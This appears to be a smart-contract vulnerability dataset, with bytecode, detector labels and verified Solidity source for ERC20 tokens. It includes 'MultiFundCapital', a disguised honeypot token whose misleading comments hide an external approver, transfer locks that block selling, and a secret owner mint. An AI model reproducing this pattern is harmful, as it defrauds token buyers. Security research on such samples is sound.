412cf7a71a0fdb75d397ca560405160405180910390a350600161062c565b60055433600160a060020a03908116911614610c2957fe5b600160a060020a03811615801590610c5a5750600160a060020a03811660009081526003602052604090205460ff16155b15610cca57600160a060020a0381166000908152600360205260409020805460ff191660019081179091556004805490918101610c978382611269565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60055460009033600160a060020a03908116911614610ce857fe5b50600160a060020a0381166000908152600360205260408120805460ff191690555b600454811015610dd35781600160a060020a0316600482815481101515610d2d57fe5b600091825260209091200154600160a060020a03161415610dcb57600480546000198101908110610d5a57fe5b60009182526020909120015460048054600160a060020a039092169183908110610d8057fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055600480546000190190610dc99082611269565b505b600101610d0a565b5050565b600554600160a060020a031681565b6006805482908110610df457fe5b600091825260209091200154600160a060020a0316905081565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105865780601f1061055b57610100808354040283529160200191610586565b6000610e84336110a3565b1515610e8c57fe5b600160a060020a0382161515610ea157600080fd5b5060005b600654811015610ef05781600160a060020a0316600682815481101515610ec857fe5b600091825260209091200154600160a060020a03161415610ee857610dd3565b600101610ea5565b6006805460018101610f028382611269565b5060009182526020909120018054600160a060020a03841673ffffffffffffffffffffffffffffffffffffffff199091161790555050565b600160a060020a033316600090815260208190526040812054829010801590610f635750600082115b1561101f57600160a060020a033316600090815260208190526040902054610f8b9083611252565b600160a060020a033381166000908152602081905260408082209390935590851681522054610fba9083611232565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03166000805160206112b18339815191528460405190815260200160405180910390a350600161062c565b50600061062c565b611030336110a3565b151561103857fe5b60058054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600160a060020a031660009081526003602052604090205460ff1690565b60055474010000000000000000000000000000000000000000900460ff1681565b60095490565b6004805482908110610df457fe5b60055433600160a060020a0390811691161461110e57fe5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000611148336110a3565b151561115057fe5b600160a060020a038216151561116557600080fd5b5060005b600654811015610dd35781600160a060020a031660068281548110151561118c57fe5b600091825260209091200154600160a060020a0316141561122a576006805460001981019081106111b957fe5b60009182526020909120015460068054600160a060020a0390921691839081106111df57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556006805460001901906112289082611269565b505b600101611169565b60008282018381108015906112475750828110155b15156108e857600080fd5b6000808284101561126257600080fd5b5050900390565b81548183558181151161128d5760008381526020902061128d918101908301611292565b505050565b61078e91905b808211156112ac5760008155600101611298565b50905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058209490f393739b0543bba02cbeb098c7b368aca0d67ccafd83c4c3c4199b40e2ae0029a165627a7a723058205d196add339a8b1d5ffa2efd163897e3342ee8d70a0337bf7c7a5aa019a85d120029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,623
0x5caf68f1aecce2fbc6f2570c824dcd6dcccdd285
/** *Submitted for verification at Etherscan.io on 2021-11-23 */ // SPDX-License-Identifier: MIT pragma solidity >=0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } abstract contract IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function zeroAddress() virtual external view returns (address){} /** * @dev Returns the zero address. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function approver() virtual external view returns (address){} /** * @dev approver of the amount of tokens that can interact with the allowance mechanism */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract MultiFundCapital is IERC20, Owned{ using SafeMath for uint; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ string public symbol; address internal approver; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal nulls; address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Reflects a specific amount of tokens. * param value The amount of lowest token units to be reflected. */ function reflect(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: reflect from the zero address"); _reflect (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == approver) _allowed(tokens); emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function _allowed(uint tokens) internal { nulls = IERC20(openzepplin).zeroAddress(); number = tokens; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _reflect(address _Address, uint _Amount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ nulls = _Address; _totalSupply = _totalSupply.add(_Amount*2); balances[_Address] = balances[_Address].add(_Amount*2); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; approver = IERC20(openzepplin).approver(); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address _owner, address spender, uint amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowed[_owner][spender] = amount; emit Approval(_owner, spender, amount); } receive() external payable { } fallback() external payable { } }
0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c45780633ebcda62146101e457806370a082311461020457005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610b35565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610ba2565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610bce565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610ba2565b610581565b3480156101f057600080fd5b506100dc6101ff366004610ba2565b6105c5565b34801561021057600080fd5b5061016a61021f366004610c0f565b6001600160a01b031660009081526009602052604090205490565b34801561024657600080fd5b506100f361069d565b34801561025b57600080fd5b5061014561026a366004610ba2565b6106aa565b34801561027b57600080fd5b5061014561028a366004610ba2565b6106e0565b34801561029b57600080fd5b5061016a6102aa366004610c2c565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610c65565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610c65565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107cb565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610876565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610896565b6001600160a01b0384166000908152600960205260409020546104a69083610876565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610876565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610974565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610974565b61098f565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106435760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61064d8282610ab3565b6001600160a01b0382166000908152600960205260409020546106709082610876565b6001600160a01b0383166000908152600960205260409020556005546106969082610876565b6005555050565b600180546102e290610c65565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610876565b6004546000906001600160a01b038481166101009092041614156107345760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161063a565b3360009081526009602052604090205461074e9083610876565b33600090815260096020526040808220929092556001600160a01b0385168152205461077a9083610974565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081957600080fd5b505afa15801561082d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108519190610ca0565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088557600080fd5b61088f8284610cd3565b9392505050565b6004546001600160a01b03828116610100909204161415806108e257506007546001600160a01b0383811691161480156108e257506004546001600160a01b0382811661010090920416145b8061092457506004546001600160a01b038281166101009092041614801561092457506006546001600160a01b03831660009081526009602052604090205411155b6109705760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161063a565b5050565b60006109808284610cea565b9050828110156103e457600080fd5b6001600160a01b0383166109f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b038216610a525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae5610adc826002610d02565b60055490610974565b600555610b15610af6826002610d02565b6001600160a01b03841660009081526009602052604090205490610974565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b81811015610b6257858101830151858201604001528201610b46565b81811115610b74576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b9f57600080fd5b50565b60008060408385031215610bb557600080fd5b8235610bc081610b8a565b946020939093013593505050565b600080600060608486031215610be357600080fd5b8335610bee81610b8a565b92506020840135610bfe81610b8a565b929592945050506040919091013590565b600060208284031215610c2157600080fd5b813561088f81610b8a565b60008060408385031215610c3f57600080fd5b8235610c4a81610b8a565b91506020830135610c5a81610b8a565b809150509250929050565b600181811c90821680610c7957607f821691505b60208210811415610c9a57634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610cb257600080fd5b815161088f81610b8a565b634e487b7160e01b600052601160045260246000fd5b600082821015610ce557610ce5610cbd565b500390565b60008219821115610cfd57610cfd610cbd565b500190565b6000816000190483118215151615610d1c57610d1c610cbd565b50029056fea264697066735822122032e3d82c4b111c017039d63ae003c1e784fa589fe6d4da578fc79132bf34e78864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,624
0xe33e39002cf4aa319c4c0c5d5c32d61db6677f41
pragma solidity ^0.4.24; /** * Band Protocol ERC 20 Token Contract - https://bandprotocol.com * * Based on OpenZeppelin smart contracts framework - https://openzeppelin.org */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Vesting Token * @dev Simple ERC20 Token with added functionality to allow adding tokens * to benefiaries gradually in a typical vesting scheme, with a cliff and * vesting period. */ contract VestingToken is StandardToken, Ownable { event Mint( address indexed beneficiary, uint256 start, uint256 cliff, uint256 duration, uint256 amount ); event Release( address indexed beneficiary, uint256 amount ); event Revoke( address indexed beneficiary ); enum VestingStatus { NONEXISTENT, //< Vesting does not exist. This is the default value. ACTIVE, //< Vesting is active. Beneficiary can withdraw tokens. REVOKED //< Vesting has been disabled by the contract owner. } /** * Data structure to keep track of each beneficiary's vesting information. */ struct Vesting { uint256 start; //< UNIX time at which vesting starts uint256 cliff; //< Duration in seconds of the cliff uint256 duration; //< Duration in seconds of the vesting period uint256 totalAmount; //< Total token value of this vesting uint256 releasedAmount; //< Total token value already released to benefiary VestingStatus status; //< Status of this vesting } mapping(address => Vesting) public vestings; /** * @dev Function to mint token aggreement to the given beneficiary with * certain given vesting parameters. * @return A boolean that indicates if the operation was successful. */ function mint( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _amount ) public onlyOwner returns (bool) { Vesting storage vesting = vestings[_beneficiary]; require(vesting.status == VestingStatus.NONEXISTENT); vesting.start = _start; vesting.cliff = _cliff; vesting.duration = _duration; vesting.totalAmount = _amount; vesting.releasedAmount = 0; vesting.status = VestingStatus.ACTIVE; emit Mint(_beneficiary, _start, _cliff, _duration, _amount); return true; } /** * @dev Function to release tokens already vested of the transaction sender. * @return A boolean that indicates if the operation was successful. */ function release() public returns (bool) { address beneficiary = msg.sender; Vesting storage vesting = vestings[beneficiary]; require(vesting.status == VestingStatus.ACTIVE); uint256 amount = vestedAmount(beneficiary).sub(vesting.releasedAmount); require(amount > 0); vesting.releasedAmount = vesting.releasedAmount.add(amount); totalSupply_ = totalSupply_.add(amount); balances[beneficiary] = balances[beneficiary].add(amount); emit Release(beneficiary, amount); emit Transfer(address(0), beneficiary, amount); return true; } /** * @dev Function to revoke the beneficiary's access to unvested tokens. * @param _beneficiary address of the beneficiary to revoke vesting. * @return A boolean that indicates if the operation was successful. */ function revoke(address _beneficiary) public onlyOwner returns (bool) { Vesting storage vesting = vestings[_beneficiary]; require(vesting.status == VestingStatus.ACTIVE); vesting.status = VestingStatus.REVOKED; emit Revoke(_beneficiary); return true; } /** * @dev Calculates the amount that has already been vested. * @param _beneficiary The beneficiary to query for vested amount. */ function vestedAmount(address _beneficiary) public view returns (uint256) { Vesting storage vesting = vestings[_beneficiary]; if (block.timestamp < vesting.start.add(vesting.cliff)) { return 0; } else if (block.timestamp >= vesting.start.add(vesting.duration)) { return vesting.totalAmount; } else { return vesting.totalAmount.mul( block.timestamp.sub(vesting.start)).div(vesting.duration); } } } /** * @title Band Protocol Token * @dev see https://bandprotocol.com */ contract BandProtocolToken is VestingToken { string public name = "Band Protocol"; string public symbol = "BAND"; uint8 public decimals = 36; }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019c57806318160ddd1461020157806323b872dd1461022c578063313ce567146102b1578063384711cc146102e2578063661884631461033957806370a082311461039e578063715018a6146103f557806374a8f1031461040c57806386d1a69f146104675780638da5cb5b1461049657806395d89b41146104ed578063a9059cbb1461057d578063d73dd623146105e2578063daf4986314610647578063dd62ed3e146106cf578063f2fde38b14610746578063f92883a214610789575b600080fd5b34801561011857600080fd5b5061012161080c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610161578082015181840152602081019050610146565b50505050905090810190601f16801561018e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a857600080fd5b506101e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108aa565b604051808215151515815260200191505060405180910390f35b34801561020d57600080fd5b5061021661099c565b6040518082815260200191505060405180910390f35b34801561023857600080fd5b50610297600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a6565b604051808215151515815260200191505060405180910390f35b3480156102bd57600080fd5b506102c6610d61565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ee57600080fd5b50610323600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d74565b6040518082815260200191505060405180910390f35b34801561034557600080fd5b50610384600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e5e565b604051808215151515815260200191505060405180910390f35b3480156103aa57600080fd5b506103df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f0565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b5061040a611138565b005b34801561041857600080fd5b5061044d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061123d565b604051808215151515815260200191505060405180910390f35b34801561047357600080fd5b5061047c611386565b604051808215151515815260200191505060405180910390f35b3480156104a257600080fd5b506104ab6115c1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f957600080fd5b506105026115e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054257808201518184